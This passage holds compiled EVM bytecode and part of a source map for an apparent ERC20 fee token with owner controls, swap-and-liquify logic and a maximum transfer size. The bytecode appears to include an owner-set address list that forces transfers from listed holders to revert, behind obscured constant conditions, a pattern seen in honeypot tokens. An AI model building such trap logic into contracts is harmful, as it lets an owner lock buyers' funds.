101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156128c45760005b838390508110156128c25781600d6000868685818110612849576128486148e3565b5b905060200201602081019061285e9190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806128ba9061480d565b915050612826565b505b505050565b60008082846128d891906145e4565b90508381101561291d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129149061440f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561299f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612996906144af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a06906143ef565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aed91906144cf565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b629061448f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bd2906143cf565b60405180910390fd5b601f60149054906101000a900460ff1615612c0257612bfb8484846131de565b9050613129565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612ca65750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612cf157601b54821115612cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce79061442f565b60405180910390fd5b5b6000612cfc30611d69565b90506000601d548210159050808015612d225750601f60149054906101000a900460ff16155b8015612d785750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d905750601f60159054906101000a900460ff165b15612dba57601f60169054906101000a900460ff1615612db057601d5491505b612db9826133b1565b5b612dc3866135a2565b15612e5e57612e1a84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f015750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f1557612f108787876135f7565b612f17565b845b9050601f60179054906101000a900460ff168015612f7f5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fae57601c54612fa282612f9489611d69565b6128c990919063ffffffff16565b1115612fad57600080fd5b5b600080612fb9575060015b1561302757600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613026576001801561301c575060005b61302557600080fd5b5b5b61307981600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161311991906144cf565b60405180910390a3600193505050505b9392505050565b6000838311158290613178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161316f91906143ad565b60405180910390fd5b506000838561318791906146c5565b9050809150509392505050565b60006131d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613130565b905092915050565b6000613269826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132fe82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161339e91906144cf565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550600061340a60026133fc6019546133ee6014548761381e90919063ffffffff16565b61389990919063ffffffff16565b61389990919063ffffffff16565b90506000613421828461319490919063ffffffff16565b905061342c816138e3565b6000479050600061345d61344c600260145461389990919063ffffffff16565b60195461319490919063ffffffff16565b9050600061349b600261348d8461347f6014548861381e90919063ffffffff16565b61389990919063ffffffff16565b61389990919063ffffffff16565b905060006134c6836134b86016548761381e90919063ffffffff16565b61389990919063ffffffff16565b905060006134ef826134e1858861319490919063ffffffff16565b61319490919063ffffffff16565b9050600081111561352757613526600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613b6e565b5b600082111561355d5761355c600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613b6e565b5b60008311801561356d5750600087115b1561357d5761357c8784613bb9565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60006135af600154613cad565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806135e6575060005b806135ef575060005b159050919050565b60008060009050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561367f57613678606461366a6017548661381e90919063ffffffff16565b61389990919063ffffffff16565b90506136fd565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136fc576136f960646136eb6018548661381e90919063ffffffff16565b61389990919063ffffffff16565b90505b5b60008111156138015761375881600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137f891906144cf565b60405180910390a35b613814818461319490919063ffffffff16565b9150509392505050565b6000808314156138315760009050613893565b6000828461383f919061466b565b905082848261384e919061463a565b1461388e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138859061444f565b60405180910390fd5b809150505b92915050565b60006138db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cbf565b905092915050565b6000600267ffffffffffffffff811115613900576138ff614912565b5b60405190808252806020026020018201604052801561392e5781602001602082028036833780820191505090505b5090503081600081518110613946576139456148e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156139e857600080fd5b505afa1580156139fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a209190613e18565b81600181518110613a3457613a336148e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a9b30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461292f565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613aff95949392919061451a565b600060405180830381600087803b158015613b1957600080fd5b505af1158015613b2d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613b629291906144ea565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613bb4573d6000803e3d6000fd5b505050565b613be630601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461292f565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c32611f24565b426040518863ffffffff1660e01b8152600401613c5496959493929190614316565b6060604051808303818588803b158015613c6d57600080fd5b505af1158015613c81573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613ca69190614025565b5050505050565b6000613cb882613d22565b9050919050565b60008083118290613d06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cfd91906143ad565b60405180910390fd5b5060008385613d15919061463a565b9050809150509392505050565b6000819050919050565b600081359050613d3b81614b97565b92915050565b600081519050613d5081614b97565b92915050565b60008083601f840112613d6c57613d6b614946565b5b8235905067ffffffffffffffff811115613d8957613d88614941565b5b602083019150836020820283011115613da557613da461494b565b5b9250929050565b600081359050613dbb81614bae565b92915050565b600081359050613dd081614bc5565b92915050565b600081519050613de581614bc5565b92915050565b600060208284031215613e0157613e00614955565b5b6000613e0f84828501613d2c565b91505092915050565b600060208284031215613e2e57613e2d614955565b5b6000613e3c84828501613d41565b91505092915050565b60008060408385031215613e5c57613e5b614955565b5b6000613e6a85828601613d2c565b9250506020613e7b85828601613d2c565b9150509250929050565b600080600060608486031215613e9e57613e9d614955565b5b6000613eac86828701613d2c565b9350506020613ebd86828701613d2c565b9250506040613ece86828701613dc1565b9150509250925092565b60008060408385031215613eef57613eee614955565b5b6000613efd85828601613d2c565b9250506020613f0e85828601613dc1565b9150509250929050565b600080600060408486031215613f3157613f30614955565b5b600084013567ffffffffffffffff811115613f4f57613f4e614950565b5b613f5b86828701613d56565b93509350506020613f6e86828701613dac565b9150509250925092565b600060208284031215613f8e57613f8d614955565b5b6000613f9c84828501613dac565b91505092915050565b600060208284031215613fbb57613fba614955565b5b6000613fc984828501613dc1565b91505092915050565b600080600060608486031215613feb57613fea614955565b5b6000613ff986828701613dc1565b935050602061400a86828701613dc1565b925050604061401b86828701613dc1565b9150509250925092565b60008060006060848603121561403e5761403d614955565b5b600061404c86828701613dd6565b935050602061405d86828701613dd6565b925050604061406e86828701613dd6565b9150509250925092565b6000614084838361409f565b60208301905092915050565b6140998161470b565b82525050565b6140a8816146f9565b82525050565b6140b7816146f9565b82525050565b60006140c88261459f565b6140d281856145c2565b93506140dd8361458f565b8060005b8381101561410e5781516140f58882614078565b9750614100836145b5565b9250506001810190506140e1565b5085935050505092915050565b6141248161471d565b82525050565b61413381614760565b82525050565b61414281614772565b82525050565b6000614153826145aa565b61415d81856145d3565b935061416d8185602086016147a8565b6141768161495a565b840191505092915050565b600061418e6023836145d3565b91506141998261496b565b604082019050919050565b60006141b16022836145d3565b91506141bc826149ba565b604082019050919050565b60006141d4601b836145d3565b91506141df82614a09565b602082019050919050565b60006141f76028836145d3565b915061420282614a32565b604082019050919050565b600061421a6021836145d3565b915061422582614a81565b604082019050919050565b600061423d6020836145d3565b915061424882614ad0565b602082019050919050565b60006142606025836145d3565b915061426b82614af9565b604082019050919050565b60006142836024836145d3565b915061428e82614b48565b604082019050919050565b6142a281614749565b82525050565b6142b181614753565b82525050565b60006020820190506142cc60008301846140ae565b92915050565b60006020820190506142e76000830184614090565b92915050565b600060408201905061430260008301856140ae565b61430f60208301846140ae565b9392505050565b600060c08201905061432b60008301896140ae565b6143386020830188614299565b6143456040830187614139565b6143526060830186614139565b61435f60808301856140ae565b61436c60a0830184614299565b979650505050505050565b600060208201905061438c600083018461411b565b92915050565b60006020820190506143a7600083018461412a565b92915050565b600060208201905081810360008301526143c78184614148565b905092915050565b600060208201905081810360008301526143e881614181565b9050919050565b60006020820190508181036000830152614408816141a4565b9050919050565b60006020820190508181036000830152614428816141c7565b9050919050565b60006020820190508181036000830152614448816141ea565b9050919050565b600060208201905081810360008301526144688161420d565b9050919050565b6000602082019050818103600083015261448881614230565b9050919050565b600060208201905081810360008301526144a881614253565b9050919050565b600060208201905081810360008301526144c881614276565b9050919050565b60006020820190506144e46000830184614299565b92915050565b60006040820190506144ff6000830185614299565b818103602083015261451181846140bd565b90509392505050565b600060a08201905061452f6000830188614299565b61453c6020830187614139565b818103604083015261454e81866140bd565b905061455d60608301856140ae565b61456a6080830184614299565b9695505050505050565b600060208201905061458960008301846142a8565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145ef82614749565b91506145fa83614749565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561462f5761462e614856565b5b828201905092915050565b600061464582614749565b915061465083614749565b9250826146605761465f614885565b5b828204905092915050565b600061467682614749565b915061468183614749565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156146ba576146b9614856565b5b828202905092915050565b60006146d082614749565b91506146db83614749565b9250828210156146ee576146ed614856565b5b828203905092915050565b600061470482614729565b9050919050565b600061471682614729565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061476b82614784565b9050919050565b600061477d82614749565b9050919050565b600061478f82614796565b9050919050565b60006147a182614729565b9050919050565b60005b838110156147c65780820151818401526020810190506147ab565b838111156147d5576000848401525b50505050565b600060028204905060018216806147f357607f821691505b60208210811415614807576148066148b4565b5b50919050565b600061481882614749565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561484b5761484a614856565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614ba0816146f9565b8114614bab57600080fd5b50565b614bb78161471d565b8114614bc257600080fd5b50565b614bce81614749565b8114614bd957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206089cd689cd47d9cbda83c245eb9b43fb9a8854dadbafe4928d659e9fef05d7864736f6c63430008070033

Deployed Bytecode Sourcemap

4487:15282:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8402:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9692:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5213:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4738:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10773:340;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6107:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8679:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10432:333;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14410:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11903:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4785:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13078:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12624:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8588:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12492:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9061:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12360:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5161:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2896:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6222:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5563:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13352:732;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5604:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12024:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8787:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10206:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5897:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5968:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5728:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5437:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5106:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3194:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8493:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9564:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5773:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9287:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12941:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5645:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14235:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4699:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11537:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5394:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12761:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5352:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6155:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5480:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5047:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5523:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14092:100;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6269:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5310:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8910:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5262:39;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16548:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5684:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12250:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4990:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3408:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6321:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16662:205;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8402:83;8439:13;8472:5;8465:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8402:83;:::o;9692:161::-;9767:4;9784:39;9793:12;:10;:12::i;:::-;9807:7;9816:6;9784:8;:39::i;:::-;9841:4;9834:11;;9692:161;;;;:::o;5213:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;4738:40::-;;;;;;;;;;;;;:::o;10773:340::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10916:15:::1;10896:17;:35;;;;10962:15;10942:17;:35;;;;11003:10;10988:12;:25;;;;11047:58;11092:12;;11047:40;11069:17;;11047;;:21;;:40;;;;:::i;:::-;:44;;:58;;;;:::i;:::-;11026:18;:79;;;;10773:340:::0;;;:::o;6107:41::-;;;;;;;;;;;;;:::o;8679:100::-;8732:7;8759:12;;8752:19;;8679:100;:::o;10432:333::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10574:15:::1;10555:16;:34;;;;10619:15;10600:16;:34;;;;10659:10;10645:11;:24;;;;10702:55;10745:11;;10702:38;10723:16;;10702;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;10682:17;:75;;;;10432:333:::0;;;:::o;14410:313::-;14508:4;14525:36;14535:6;14543:9;14554:6;14525:9;:36::i;:::-;;14572:121;14581:6;14589:12;:10;:12::i;:::-;14603:89;14641:6;14603:89;;;;;;;;;;;;;;;;;:11;:19;14615:6;14603:19;;;;;;;;;;;;;;;:33;14623:12;:10;:12::i;:::-;14603:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14572:8;:121::i;:::-;14711:4;14704:11;;14410:313;;;;;:::o;11903:113::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12000:8:::1;11981:16;;:27;;;;;;;;;;;;;;;;;;11903:113:::0;:::o;4785:81::-;;;:::o;13078:128::-;13131:7;13158:40;13175:22;13185:11;13175:9;:22::i;:::-;13158:12;;:16;;:40;;;;:::i;:::-;13151:47;;13078:128;:::o;12624:129::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12734:10:::1;12706:17;;:39;;;;;;;;;;;;;;;;;;12624:129:::0;:::o;8588:83::-;8629:5;8654:9;;;;;;;;;;;8647:16;;8588:83;:::o;12492:124::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12597:10:::1;12577:9;;:31;;;;;;;;;;;;;;;;;;12492:124:::0;:::o;9061:218::-;9149:4;9166:83;9175:12;:10;:12::i;:::-;9189:7;9198:50;9237:10;9198:11;:25;9210:12;:10;:12::i;:::-;9198:25;;;;;;;;;;;;;;;:34;9224:7;9198:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9166:8;:83::i;:::-;9267:4;9260:11;;9061:218;;;;:::o;12360:124::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12468:8:::1;12442:23;:34;;;;12360:124:::0;:::o;5161:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;2896:82::-;;;;:::o;6222:40::-;;;;;;;;;;;;;:::o;5563:34::-;;;;:::o;13352:732::-;13432:22;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13469:35:::1;13526:16;13469:74;;13592:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13574:53;;;13636:4;13643:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13574:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13557:110;;13709:1;13683:28;;:14;:28;;;13680:200;;;13772:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13754:74;;;13837:4;13844:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13754:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13737:131;;13680:200;13906:14;13892:11;;:28;;;;;;;;;;;;;;;;;;13949:16;13931:15;;:34;;;;;;;;;;;;;;;;;;14023:4;13979:19;:41;14007:11;;;;;;;;;;;13979:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;14072:4;14038:9;:31;14056:11;;;;;;;;;;;14038:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;13456:628;13352:732:::0;;;:::o;5604:34::-;;;;:::o;12024:218::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12130:9:::1;12126:109;12149:6;;:13;;12145:1;:17;12126:109;;;12217:6;12184:19;:30;12204:6;;12211:1;12204:9